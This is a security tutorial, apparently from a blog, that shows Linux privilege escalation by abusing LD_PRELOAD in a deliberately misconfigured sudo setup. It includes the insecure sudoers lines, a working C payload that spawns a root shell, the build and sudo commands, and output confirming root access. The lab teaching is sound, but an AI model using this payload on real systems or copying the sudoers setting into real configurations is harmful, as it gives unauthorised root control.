Linux Privilege Escalation using LD_Preload

June 14, 2018 By Raj Chandel

In this Post, we are going to discuss a new technique of privilege escalation by exploiting an environment variable "LD_Preload" but to practice this you must take some help from our previous article.

Table of contents

Introduction

Shared Libraries

Shared libraries are libraries that are loaded by programs when they start. When a shared library is installed properly, all programs that start afterward automatically use the new shared library.

Shared Libraries Names

Every shared library has a special name called the "soname". The soname has the prefix "lib", the name of the library, the phrase `".so", followed by a period and a version number.

The dynamic linker can be run either indirectly by running some dynamically linked program or shared object. The programs **ld.so** and **ld-linux.so*** find and load the shared objects (shared libraries) needed by a program, prepare the program to run, and then run it. (read from here)

LD_Preload: It is an environment variable that lists shared libraries with functions that override the standard set, just as /etc/ld.so.preload does. These are implemented by the loader /lib/ld-linux.so

For more information read from here.

Lab setup

It is important that logged user must have some sudo rights, therefore, we have given some sudo rights such as /usr/bin/find to be executed by sudo user. But apart from that, there is some Default specification where you can set an environment variable to work as sudo.

To do this follow the below steps:

- Open /etc/sudoers file by typing visudo

- Now give some sudo rights to a user, in our case “raj” will be members of sudoers.

```
raj  ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
```

- Then add the following as default specification to set the environment for LD_preload.

```
Defaults        env_keep += LD_PRELOAD
```

```
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:$
Defaults        env_keep += LD_PRELOAD

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
raj     ALL=(ALL:ALL) NOPASSWD: /usr/bin/find, /usr/sbin/iftop, /usr/bin/vim
```

Privilege Escalation

To exploit such type of vulnerability we need to compromise victim’s machine at once then move to privilege escalation phase. Suppose you successfully login into victim’s machine through ssh now for post exploitation type **sudo -l** command to detect it. And notice the highlighted environment variable will work as sudo.

```
root@kali:~# ssh raj@192.168.1.102
raj@192.168.1.102's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 3.13.0-24-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

24 packages can be updated.
20 updates are security updates.

Last login: Wed Jun 13 00:56:41 2018 from 192.168.1.103
raj@ubuntu:~$ sudo -l
Matching Defaults entries for raj on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n\:/snap/bin,
    env_keep+=LD_PRELOAD

User raj may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: /usr/bin/find, /usr/sbin/iftop, /usr/bin/vim
```

Let’s generate a C-program file inside /tmp directory.

```
raj@ubuntu:/$ cd /tmp
raj@ubuntu:/tmp$ nano shell.c
```

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```

Then save it as shell.c inside /tmp.

```
 GNU nano 2.2.6                File: shell.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
        unsetenv("LD_PRELOAD");
        setgid(0);
        setuid(0);
        system("/bin/sh");
}
```

As discussed let's compile it to generate a shared object with .so extension likewise .dll file in the Windows operating system and hence type following:

```
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami
```

Yuppieeee!!!! We got the ROOT access.

```
raj@ubuntu:/tmp$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
raj@ubuntu:/tmp$ ls -al shell.so
-rwxrwxr-x 1 raj raj 6416 Jun 13 22:50 shell.so
raj@ubuntu:/tmp$ sudo LD_PRELOAD=/tmp/shell.so find
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
```